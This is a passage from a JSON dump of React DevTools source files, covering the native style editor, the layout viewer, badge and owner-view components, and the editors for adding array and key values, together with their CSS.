       repeatCount=\"indefinite\"\n          begin=\"0.2\"\n        />\n      </circle>\n      <circle fill=\"currentColor\" stroke=\"none\" cx=\"80\" cy=\"50\" r=\"10\">\n        <animate\n          attributeName=\"opacity\"\n          dur=\"1s\"\n          values=\"0;1;0\"\n          repeatCount=\"indefinite\"\n          begin=\"0.3\"\n        />\n      </circle>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/AutoSizeInput.css",
    "content": ".Input {\n  min-width: 0.5rem;\n  flex: 1 1 auto;\n  border: none;\n  background: transparent;\n  outline: none;\n  padding: 0;\n  border: none;\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n}\n\n.Input:focus {\n  border-color: var(--color-border);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/AutoSizeInput.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport styles from './AutoSizeInput.css';\n\ntype Props = {\n  className?: string,\n  onFocus?: (event: FocusEvent) => void,\n  placeholder?: string,\n  testName?: ?string,\n  value: any,\n};\n\nexport default function AutoSizeInput({\n  className,\n  onFocus,\n  placeholder = '',\n  testName,\n  value,\n  ...rest\n}: Props): React.Node {\n  // $FlowFixMe[missing-local-annot]\n  const onFocusWrapper = event => {\n    const input = event.target;\n    if (input !== null) {\n      input.selectionStart = 0;\n      input.selectionEnd = value.length;\n    }\n\n    if (typeof onFocus === 'function') {\n      onFocus(event);\n    }\n  };\n\n  const isEmpty = value === '' || value === '\"\"';\n\n  return (\n    // $FlowFixMe[cannot-spread-inexact] unsafe rest spread\n    <input\n      className={[styles.Input, className].join(' ')}\n      data-testname={testName}\n      onFocus={onFocusWrapper}\n      placeholder={placeholder}\n      style={{\n        width: `calc(${isEmpty ? placeholder.length : value.length}ch + 1px)`,\n      }}\n      value={isEmpty ? '' : value}\n      {...rest}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/LayoutViewer.css",
    "content": ".LayoutViewer {\n  padding: 0.25rem;\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-small);\n}\n\n.Header {\n  font-family: var(--font-family-sans);\n}\n\n.DashedBox,\n.SolidBox {\n  flex: 1 1 auto;\n  display: flex;\n  flex-direction: column;\n  align-items: center;\n  border-width: 1px;\n  border-color: var(--color-dim);\n  padding: 0.25rem;\n  margin: 0.25rem;\n}\n.DashedBox {\n  border-style: dashed;\n}\n.SolidBox {\n  border-style: solid;\n}\n\n.LabelRow {\n  width: 100%;\n  position: relative;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n}\n\n.Label {\n  position: absolute;\n  left: 0.5rem;\n  flex: 1 0 100px;\n  color: var(--color-attribute-name);\n}\n\n.BoxRow {\n  width: 100%;\n  display: flex;\n  flex-direction: row;\n  align-items: center;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/LayoutViewer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport styles from './LayoutViewer.css';\n\nimport type {Layout} from './types';\n\ntype Props = {\n  id: number,\n  layout: Layout,\n};\n\nexport default function LayoutViewer({id, layout}: Props): React.Node {\n  const {height, margin, padding, y, width, x} = layout;\n\n  return (\n    <div className={styles.LayoutViewer}>\n      <div className={styles.Header}>layout</div>\n      <div className={styles.DashedBox}>\n        <div className={styles.LabelRow}>\n          <label className={styles.Label}>margin</label>\n\n          <label>{margin.top || '-'}</label>\n        </div>\n\n        <div className={styles.BoxRow}>\n          <label>{margin.left || '-'}</label>\n\n          <div className={styles.SolidBox}>\n            <div className={styles.LabelRow}>\n              <label className={styles.Label}>padding</label>\n\n              <label>{padding.top || '-'}</label>\n            </div>\n\n            <div className={styles.BoxRow}>\n              <label>{padding.left || '-'}</label>\n\n              <div className={styles.DashedBox}>\n                <div className={styles.LabelRow}>\n                  {format(width)} x {format(height)} ({format(x)}, {format(y)})\n                </div>\n              </div>\n\n              <label>{padding.right || '-'}</label>\n            </div>\n\n            <label>{padding.bottom || '-'}</label>\n          </div>\n          <label>{margin.right || '-'}</label>\n        </div>\n        <label>{margin.bottom || '-'}</label>\n      </div>\n    </div>\n  );\n}\n\nfunction format(number: number): string | number {\n  if (Math.round(number) === number) {\n    return number;\n  } else {\n    return number.toFixed(1);\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/StyleEditor.css",
    "content": ".StyleEditor {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  padding: 0.25rem;\n}\n\n.HeaderRow {\n  display: flex;\n  align-items: center;\n}\n\n.Header {\n  flex: 1 1;\n}\n\n.Brackets {\n  font-family: var(--font-family-sans);\n  font-size: var(--font-size-sans-small);\n}\n\n.Row {\n  white-space: nowrap;\n  padding-left: 1rem;\n  display: flex;\n  align-items: center;\n}\n\n.Invalid {\n  background-color: var(--color-background-invalid);\n  color: var(--color-text-invalid);\n\n  --color-border: var(--color-text-invalid);\n}\n.Attribute {\n  color: var(--color-attribute-name);\n}\n\n.Value {\n  color: var(--color-attribute-value);\n}\n\n.Input {\n  flex: 0 1 auto;\n  padding: 1px;\n  box-shadow: 0px 1px 3px transparent;\n}\n.Input:focus {\n  color: var(--color-text);\n  box-shadow: 0px 1px 3px var(--color-shadow);\n}\n\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/StyleEditor.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext, useMemo, useRef, useState} from 'react';\nimport {copy} from 'clipboard-js';\nimport {\n  BridgeContext,\n  StoreContext,\n} from 'react-devtools-shared/src/devtools/views/context';\nimport Button from '../../Button';\nimport ButtonIcon from '../../ButtonIcon';\nimport {serializeDataForCopy} from '../../utils';\nimport AutoSizeInput from './AutoSizeInput';\nimport styles from './StyleEditor.css';\nimport {sanitizeForParse} from '../../../utils';\nimport {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';\n\nimport type {Style} from './types';\n\ntype Props = {\n  id: number,\n  style: Style,\n};\n\ntype ChangeAttributeFn = (oldName: string, newName: string, value: any) => void;\ntype ChangeValueFn = (name: string, value: any) => void;\n\nexport default function StyleEditor({id, style}: Props): React.Node {\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n\n  const changeAttribute = (oldName: string, newName: string, value: any) => {\n    const rendererID = store.getRendererIDForElement(id);\n    if (rendererID !== null) {\n      bridge.send('NativeStyleEditor_renameAttribute', {\n        id,\n        rendererID,\n        oldName,\n        newName,\n        value,\n      });\n    }\n  };\n\n  const changeValue = (name: string, value: any) => {\n    const rendererID = store.getRendererIDForElement(id);\n    if (rendererID !== null) {\n      bridge.send('NativeStyleEditor_setValue', {\n        id,\n        rendererID,\n        name,\n        value,\n      });\n    }\n  };\n\n  const keys = useMemo(() => Array.from(Object.keys(style)), [style]);\n\n  const handleCopy = withPermissionsCheck(\n    {permissions: ['clipboardWrite']},\n    () => copy(serializeDataForCopy(style)),\n  );\n\n  return (\n    <div className={styles.StyleEditor}>\n      <div className={styles.HeaderRow}>\n        <div className={styles.Header}>\n          <div className={styles.Brackets}>{'style {'}</div>\n        </div>\n        <Button onClick={handleCopy} title=\"Copy to clipboard\">\n          <ButtonIcon type=\"copy\" />\n        </Button>\n      </div>\n      {keys.length > 0 &&\n        keys.map(attribute => (\n          <Row\n            key={`${attribute}/${style[attribute]}`}\n            attribute={attribute}\n            changeAttribute={changeAttribute}\n            changeValue={changeValue}\n            validAttributes={store.nativeStyleEditorValidAttributes}\n            value={style[attribute]}\n          />\n        ))}\n      <NewRow\n        changeAttribute={changeAttribute}\n        changeValue={changeValue}\n        validAttributes={store.nativeStyleEditorValidAttributes}\n      />\n      <div className={styles.Brackets}>{'}'}</div>\n    </div>\n  );\n}\n\ntype NewRowProps = {\n  changeAttribute: ChangeAttributeFn,\n  changeValue: ChangeValueFn,\n  validAttributes: $ReadOnlyArray<string> | null,\n};\n\nfunction NewRow({changeAttribute, changeValue, validAttributes}: NewRowProps) {\n  const [key, setKey] = useState<number>(0);\n  const reset = () => setKey(key + 1);\n\n  const newAttributeRef = useRef<string>('');\n\n  const changeAttributeWrapper = (\n    oldAttribute: string,\n    newAttribute: string,\n    value: any,\n  ) => {\n    // Ignore attribute changes until a value has been specified\n    newAttributeRef.current = newAttribute;\n  };\n\n  const changeValueWrapper = (attribute: string, value: any) => {\n    // Blur events should reset/cancel if there's no value or no attribute\n    if (newAttributeRef.current !== '') {\n      if (value !== '') {\n        changeValue(newAttributeRef.current, value);\n      }\n      reset();\n    }\n  };\n\n  return (\n    <Row\n      key={key}\n      attribute={''}\n      attributePlaceholder=\"attribute\"\n      changeAttribute={changeAttributeWrapper}\n      changeValue={changeValueWrapper}\n      validAttributes={validAttributes}\n      value={''}\n      valuePlaceholder=\"value\"\n    />\n  );\n}\n\ntype RowProps = {\n  attribute: string,\n  attributePlaceholder?: string,\n  changeAttribute: ChangeAttributeFn,\n  changeValue: ChangeValueFn,\n  validAttributes: $ReadOnlyArray<string> | null,\n  value: any,\n  valuePlaceholder?: string,\n};\n\nfunction Row({\n  attribute,\n  attributePlaceholder,\n  changeAttribute,\n  changeValue,\n  validAttributes,\n  value,\n  valuePlaceholder,\n}: RowProps) {\n  // TODO (RN style editor) Use @reach/combobox to auto-complete attributes.\n  // The list of valid attributes would need to be injected by RN backend,\n  // which would need to require them from ReactNativeViewViewConfig \"validAttributes.style\" keys.\n  // This would need to degrade gracefully for react-native-web,\n  // although we could let it also inject a custom set of allowed attributes.\n\n  const [localAttribute, setLocalAttribute] = useState(attribute);\n  const [localValue, setLocalValue] = useState(JSON.stringify(value));\n  const [isAttributeValid, setIsAttributeValid] = useState(true);\n  const [isValueValid, setIsValueValid] = useState(true);\n\n  // $FlowFixMe[missing-local-annot]\n  const validateAndSetLocalAttribute = newAttribute => {\n    const isValid =\n      newAttribute === '' ||\n      validAttributes === null ||\n      validAttributes.indexOf(newAttribute) >= 0;\n\n    setLocalAttribute(newAttribute);\n    setIsAttributeValid(isValid);\n  };\n\n  // $FlowFixMe[missing-local-annot]\n  const validateAndSetLocalValue = newValue => {\n    let isValid = false;\n    try {\n      JSON.parse(sanitizeForParse(newValue));\n      isValid = true;\n    } catch (error) {}\n\n    setLocalValue(newValue);\n    setIsValueValid(isValid);\n  };\n\n  const resetAttribute = () => {\n    setLocalAttribute(attribute);\n  };\n\n  const resetValue = () => {\n    setLocalValue(value);\n  };\n\n  const submitValueChange = () => {\n    if (isAttributeValid && isValueValid) {\n      const parsedLocalValue = JSON.parse(sanitizeForParse(localValue));\n      if (value !== parsedLocalValue) {\n        changeValue(attribute, parsedLocalValue);\n      }\n    }\n  };\n\n  const submitAttributeChange = () => {\n    if (isAttributeValid && isValueValid) {\n      if (attribute !== localAttribute) {\n        changeAttribute(attribute, localAttribute, value);\n      }\n    }\n  };\n\n  return (\n    <div className={styles.Row}>\n      <Field\n        className={isAttributeValid ? styles.Attribute : styles.Invalid}\n        onChange={validateAndSetLocalAttribute}\n        onReset={resetAttribute}\n        onSubmit={submitAttributeChange}\n        placeholder={attributePlaceholder}\n        value={localAttribute}\n      />\n      :&nbsp;\n      <Field\n        className={isValueValid ? styles.Value : styles.Invalid}\n        onChange={validateAndSetLocalValue}\n        onReset={resetValue}\n        onSubmit={submitValueChange}\n        placeholder={valuePlaceholder}\n        value={localValue}\n      />\n      ;\n    </div>\n  );\n}\n\ntype FieldProps = {\n  className: string,\n  onChange: (value: any) => void,\n  onReset: () => void,\n  onSubmit: () => void,\n  placeholder?: string,\n  value: any,\n};\n\nfunction Field({\n  className,\n  onChange,\n  onReset,\n  onSubmit,\n  placeholder,\n  value,\n}: FieldProps) {\n  // $FlowFixMe[missing-local-annot]\n  const onKeyDown = event => {\n    switch (event.key) {\n      case 'Enter':\n        onSubmit();\n        break;\n      case 'Escape':\n        onReset();\n        break;\n      case 'ArrowDown':\n      case 'ArrowLeft':\n      case 'ArrowRight':\n      case 'ArrowUp':\n        event.stopPropagation();\n        break;\n      default:\n        break;\n    }\n  };\n\n  return (\n    <AutoSizeInput\n      className={`${className} ${styles.Input}`}\n      onBlur={onSubmit}\n      onChange={(event: $FlowFixMe) => onChange(event.target.value)}\n      onKeyDown={onKeyDown}\n      placeholder={placeholder}\n      value={value}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/context.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport {createContext, useContext, useEffect, useState} from 'react';\nimport {\n  BridgeContext,\n  StoreContext,\n} from 'react-devtools-shared/src/devtools/views/context';\nimport {TreeStateContext} from 'react-devtools-shared/src/devtools/views/Components/TreeContext';\n\nimport type {StateContext} from 'react-devtools-shared/src/devtools/views/Components/TreeContext';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type Store from 'react-devtools-shared/src/devtools/store';\nimport type {StyleAndLayout as StyleAndLayoutBackend} from 'react-devtools-shared/src/backend/NativeStyleEditor/types';\nimport type {StyleAndLayout as StyleAndLayoutFrontend} from './types';\n\ntype Context = StyleAndLayoutFrontend | null;\n\nconst NativeStyleContext: ReactContext<Context> = createContext<Context>(\n  ((null: any): Context),\n);\nNativeStyleContext.displayName = 'NativeStyleContext';\n\ntype Props = {\n  children: React$Node,\n};\n\nfunction NativeStyleContextController({children}: Props): React.Node {\n  const bridge = useContext<FrontendBridge>(BridgeContext);\n  const store = useContext<Store>(StoreContext);\n  const {inspectedElementID} = useContext<StateContext>(TreeStateContext);\n\n  const [currentStyleAndLayout, setCurrentStyleAndLayout] =\n    useState<StyleAndLayoutFrontend | null>(null);\n\n  // This effect handler polls for updates on the currently selected element.\n  useEffect(() => {\n    if (inspectedElementID === null) {\n      setCurrentStyleAndLayout(null);\n      return () => {};\n    }\n\n    let requestTimeoutId: TimeoutID | null = null;\n    const sendRequest = () => {\n      requestTimeoutId = null;\n      const rendererID = store.getRendererIDForElement(inspectedElementID);\n\n      if (rendererID !== null) {\n        bridge.send('NativeStyleEditor_measure', {\n          id: inspectedElementID,\n          rendererID,\n        });\n      }\n    };\n\n    // Send the initial measurement request.\n    // We'll poll for an update in the response handler below.\n    sendRequest();\n\n    const onStyleAndLayout = ({id, layout, style}: StyleAndLayoutBackend) => {\n      // If this is the element we requested, wait a little bit and then ask for another update.\n      if (id === inspectedElementID) {\n        if (requestTimeoutId !== null) {\n          clearTimeout(requestTimeoutId);\n        }\n        requestTimeoutId = setTimeout(sendRequest, 1000);\n      }\n\n      const styleAndLayout: StyleAndLayoutFrontend = {\n        layout,\n        style,\n      };\n      setCurrentStyleAndLayout(styleAndLayout);\n    };\n\n    bridge.addListener('NativeStyleEditor_styleAndLayout', onStyleAndLayout);\n    return () => {\n      bridge.removeListener(\n        'NativeStyleEditor_styleAndLayout',\n        onStyleAndLayout,\n      );\n\n      if (requestTimeoutId !== null) {\n        clearTimeout(requestTimeoutId);\n      }\n    };\n  }, [bridge, inspectedElementID, store]);\n\n  return (\n    <NativeStyleContext.Provider value={currentStyleAndLayout}>\n      {children}\n    </NativeStyleContext.Provider>\n  );\n}\n\nexport {NativeStyleContext, NativeStyleContextController};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/index.css",
    "content": ".Stack > *:not(:first-child) {\n  border-top: 1px solid var(--color-border);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext, useMemo} from 'react';\n\nimport {StoreContext} from 'react-devtools-shared/src/devtools/views/context';\nimport {useSubscription} from 'react-devtools-shared/src/devtools/views/hooks';\nimport {TreeStateContext} from 'react-devtools-shared/src/devtools/views/Components/TreeContext';\n\nimport {NativeStyleContext} from './context';\nimport LayoutViewer from './LayoutViewer';\nimport StyleEditor from './StyleEditor';\nimport styles from './index.css';\n\nexport default function NativeStyleEditorWrapper(): React.Node {\n  const store = useContext(StoreContext);\n  const subscription = useMemo(\n    () => ({\n      getCurrentValue: () => store.supportsNativeStyleEditor,\n      subscribe: (callback: Function) => {\n        store.addListener('supportsNativeStyleEditor', callback);\n        return () => {\n          store.removeListener('supportsNativeStyleEditor', callback);\n        };\n      },\n    }),\n    [store],\n  );\n\n  const supportsNativeStyleEditor = useSubscription<boolean>(subscription);\n  if (!supportsNativeStyleEditor) {\n    return null;\n  }\n\n  return <NativeStyleEditor />;\n}\n\nfunction NativeStyleEditor() {\n  const {inspectedElementID} = useContext(TreeStateContext);\n  const inspectedElementStyleAndLayout = useContext(NativeStyleContext);\n  if (inspectedElementID === null) {\n    return null;\n  }\n  if (inspectedElementStyleAndLayout === null) {\n    return null;\n  }\n\n  const {layout, style} = inspectedElementStyleAndLayout;\n  if (layout === null && style === null) {\n    return null;\n  }\n\n  return (\n    <div className={styles.Stack}>\n      {layout !== null && (\n        <LayoutViewer id={inspectedElementID} layout={layout} />\n      )}\n      {style !== null && <StyleEditor id={inspectedElementID} style={style} />}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/types.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Layout as LayoutBackend,\n  Style as StyleBackend,\n} from 'react-devtools-shared/src/backend/NativeStyleEditor/types';\n\nexport type Layout = LayoutBackend;\nexport type Style = StyleBackend;\nexport type StyleAndLayout = {\n  layout: LayoutBackend | null,\n  style: StyleBackend | null,\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeTagBadge.css",
    "content": ".Badge {\n  cursor: help;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NativeTagBadge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport Badge from './Badge';\nimport Tooltip from './reach-ui/tooltip';\n\nimport styles from './NativeTagBadge.css';\n\ntype Props = {\n  nativeTag: number,\n};\n\nconst title =\n  'Unique identifier for the corresponding native component. React Native only.';\n\nexport default function NativeTagBadge({nativeTag}: Props): React.Node {\n  return (\n    <Tooltip label={title}>\n      <Badge className={styles.Badge}>Tag {nativeTag}</Badge>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NewArrayValue.css",
    "content": ".NewArrayValue {\n  white-space: nowrap;\n  display: flex;\n  align-items: center;\n}\n\n.EditableName {\n  margin-left: 1rem;\n}\n\n.Invalid {\n  background-color: var(--color-background-invalid);\n  color: var(--color-text-invalid) !important;\n}\n\n.Invalid:focus {\n  background-color: var(--color-button-background-focus);\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NewArrayValue.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useState} from 'react';\nimport Store from '../../store';\nimport EditableName from './EditableName';\nimport {smartParse} from '../../utils';\nimport {parseHookPathForEdit} from './utils';\nimport styles from './NewArrayValue.css';\n\nimport type {InspectedElement} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\n\ntype Props = {\n  bridge: FrontendBridge,\n  depth: number,\n  hidden: boolean,\n  hookID?: ?number,\n  index: number,\n  inspectedElement: InspectedElement,\n  path: Array<string | number>,\n  store: Store,\n  type: 'props' | 'context' | 'hooks' | 'state',\n};\n\nexport default function NewArrayValue({\n  bridge,\n  depth,\n  hidden,\n  hookID,\n  index,\n  inspectedElement,\n  path,\n  store,\n  type,\n}: Props): React.Node {\n  const [key, setKey] = useState<number>(0);\n  const [isInvalid, setIsInvalid] = useState(false);\n\n  // This is a bit of an unusual usage of the EditableName component,\n  // but otherwise it acts the way we want for a new Array entry.\n  // $FlowFixMe[missing-local-annot]\n  const overrideName = (oldPath: any, newPath) => {\n    const value = newPath[newPath.length - 1];\n\n    let parsedValue;\n    let newIsInvalid = true;\n    try {\n      parsedValue = smartParse(value);\n      newIsInvalid = false;\n    } catch (error) {}\n\n    if (isInvalid !== newIsInvalid) {\n      setIsInvalid(newIsInvalid);\n    }\n\n    if (!newIsInvalid) {\n      setKey(key + 1);\n\n      const {id} = inspectedElement;\n      const rendererID = store.getRendererIDForElement(id);\n      if (rendererID !== null) {\n        let basePath = path;\n        if (hookID != null) {\n          basePath = parseHookPathForEdit(basePath);\n        }\n\n        bridge.send('overrideValueAtPath', {\n          type,\n          hookID,\n          id,\n          path: [...basePath, index],\n          rendererID,\n          value: parsedValue,\n        });\n      }\n    }\n  };\n\n  return (\n    <div\n      key={key}\n      hidden={hidden}\n      style={{\n        paddingLeft: `${(depth - 1) * 0.75}rem`,\n      }}>\n      <div className={styles.NewArrayValue}>\n        <EditableName\n          allowWhiteSpace={true}\n          autoFocus={key > 0}\n          className={[styles.EditableName, isInvalid && styles.Invalid].join(\n            ' ',\n          )}\n          initialValue=\"\"\n          overrideName={overrideName}\n          path={path}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NewKeyValue.css",
    "content": ".NewKeyValue {\n  white-space: nowrap;\n  display: flex;\n  align-items: center;\n}\n\n.EditableName {\n  margin-left: 1rem;\n}\n\n.EditableValue {\n  min-width: 1rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/NewKeyValue.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useState} from 'react';\nimport Store from '../../store';\nimport EditableName from './EditableName';\nimport EditableValue from './EditableValue';\nimport {parseHookPathForEdit} from './utils';\nimport styles from './NewKeyValue.css';\n\nimport type {InspectedElement} from 'react-devtools-shared/src/frontend/types';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\n\ntype Props = {\n  bridge: FrontendBridge,\n  depth: number,\n  hidden: boolean,\n  hookID?: ?number,\n  inspectedElement: InspectedElement,\n  path: Array<string | number>,\n  store: Store,\n  type: 'props' | 'state' | 'hooks' | 'context',\n};\n\nexport default function NewKeyValue({\n  bridge,\n  depth,\n  hidden,\n  hookID,\n  inspectedElement,\n  path,\n  store,\n  type,\n}: Props): React.Node {\n  const [newPropKey, setNewPropKey] = useState<number>(0);\n  const [newPropName, setNewPropName] = useState<string>('');\n\n  // $FlowFixMe[missing-local-annot]\n  const overrideNewEntryName = (oldPath: any, newPath) => {\n    setNewPropName(newPath[newPath.length - 1]);\n  };\n\n  const overrideNewEntryValue = (\n    newPath: Array<string | number>,\n    value: any,\n  ) => {\n    if (!newPropName) {\n      return;\n    }\n\n    setNewPropName('');\n    setNewPropKey(newPropKey + 1);\n\n    const {id} = inspectedElement;\n    const rendererID = store.getRendererIDForElement(id);\n    if (rendererID !== null) {\n      let basePath: Array<string | number> = newPath;\n      if (hookID != null) {\n        basePath = parseHookPathForEdit(basePath);\n      }\n\n      bridge.send('overrideValueAtPath', {\n        type,\n        hookID,\n        id,\n        path: basePath,\n        rendererID,\n        value,\n      });\n    }\n  };\n\n  return (\n    <div\n      data-testname=\"NewKeyValue\"\n      key={newPropKey}\n      hidden={hidden}\n      style={{\n        paddingLeft: `${(depth - 1) * 0.75}rem`,\n      }}>\n      <div className={styles.NewKeyValue}>\n        <EditableName\n          autoFocus={newPropKey > 0}\n          className={styles.EditableName}\n          overrideName={overrideNewEntryName}\n          path={[]}\n        />\n        :&nbsp;\n        <EditableValue\n          className={styles.EditableValue}\n          overrideValue={overrideNewEntryValue}\n          path={[...path, newPropName]}\n          value={''}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/OpenInEditorButton.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport Button from 'react-devtools-shared/src/devtools/views/Button';\nimport ButtonIcon from 'react-devtools-shared/src/devtools/views/ButtonIcon';\n\nimport type {ReactFunctionLocation} from 'shared/ReactTypes';\nimport type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';\n\nimport {checkConditions} from '../Editor/utils';\n\ntype Props = {\n  editorURL: string,\n  source: ReactFunctionLocation,\n  symbolicatedSourcePromise: Promise<SourceMappedLocation | null>,\n};\n\nfunction OpenSymbolicatedSourceInEditorButton({\n  editorURL,\n  source,\n  symbolicatedSourcePromise,\n}: Props): React.Node {\n  const symbolicatedSource = React.use(symbolicatedSourcePromise);\n\n  const {url, shouldDisableButton} = checkConditions(\n    editorURL,\n    symbolicatedSource ? symbolicatedSource.location : source,\n  );\n\n  return (\n    <Button\n      disabled={shouldDisableButton}\n      onClick={() => window.open(url)}\n      title=\"Open in editor\">\n      <ButtonIcon type=\"editor\" />\n    </Button>\n  );\n}\n\nfunction OpenInEditorButton(props: Props): React.Node {\n  return (\n    <React.Suspense\n      fallback={\n        <Button disabled={true} title=\"retrieving original source…\">\n          <ButtonIcon type=\"editor\" />\n        </Button>\n      }>\n      <OpenSymbolicatedSourceInEditorButton {...props} />\n    </React.Suspense>\n  );\n}\n\nexport default OpenInEditorButton;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/OwnerView.css",
    "content": ".Owner {\n  color: var(--color-component-name);\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  font-weight: bold;\n  white-space: nowrap;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  max-width: 100%;\n  border-radius: 0.25rem;\n  padding: 0.125rem 0.25rem;\n  background: none;\n  border: none;\n  display: block;\n}\n.Owner:focus {\n  outline: none;\n  background-color: var(--color-button-background-focus);\n}\n\n.OwnerButton {\n  cursor: pointer;\n  width: 100%;\n  padding: 0;\n}\n\n.OwnerContent {\n  display: flex;\n  align-items: center;\n  padding-left: 1rem;\n  width: 100%;\n  border-radius: 0.25rem;\n}\n\n.OwnerContent:hover {\n  background-color: var(--color-background-hover);\n}\n\n.NotInStore {\n  color: var(--color-dim);\n  cursor: default;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/OwnerView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useCallback, useContext} from 'react';\nimport {TreeDispatcherContext} from './TreeContext';\nimport Button from '../Button';\nimport ElementBadges from './ElementBadges';\nimport {useHighlightHostInstance} from '../hooks';\nimport {logEvent} from 'react-devtools-shared/src/Logger';\n\nimport styles from './OwnerView.css';\n\ntype OwnerViewProps = {\n  displayName: string,\n  hocDisplayNames: Array<string> | null,\n  environmentName: string | null,\n  compiledWithForget: boolean,\n  id: number,\n  isInStore: boolean,\n};\n\nexport default function OwnerView({\n  displayName,\n  environmentName,\n  hocDisplayNames,\n  compiledWithForget,\n  id,\n  isInStore,\n}: OwnerViewProps): React.Node {\n  const dispatch = useContext(TreeDispatcherContext);\n  const {highlightHostInstance, clearHighlightHostInstance} =\n    useHighlightHostInstance();\n\n  const handleClick = useCallback(() => {\n    logEvent({\n      event_name: 'select-element',\n      metadata: {source: 'owner-view'},\n    });\n    dispatch({\n      type: 'SELECT_ELEMENT_BY_ID',\n      payload: id,\n    });\n  }, [dispatch, id]);\n\n  return (\n    <Button\n      key={id}\n      className={styles.OwnerButton}\n      disabled={!isInStore}\n      onClick={handleClick}\n      onMouseEnter={() => highlightHostInstance(id)}\n      onMouseLeave={clearHighlightHostInstance}>\n      <span className={styles.OwnerContent}>\n        <span\n          className={`${styles.Owner} ${isInStore ? '' : styles.NotInStore}`}\n          title={displayName}\n          data-testname=\"OwnerView\">\n          {'<' + displayName + '>'}\n        </span>\n\n        <ElementBadges\n          hocDisplayNames={hocDisplayNames}\n          compiledWithForget={compiledWithForget}\n          environmentName={environmentName}\n        />\n      </span>\n    </Button>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/OwnersListContext.js",
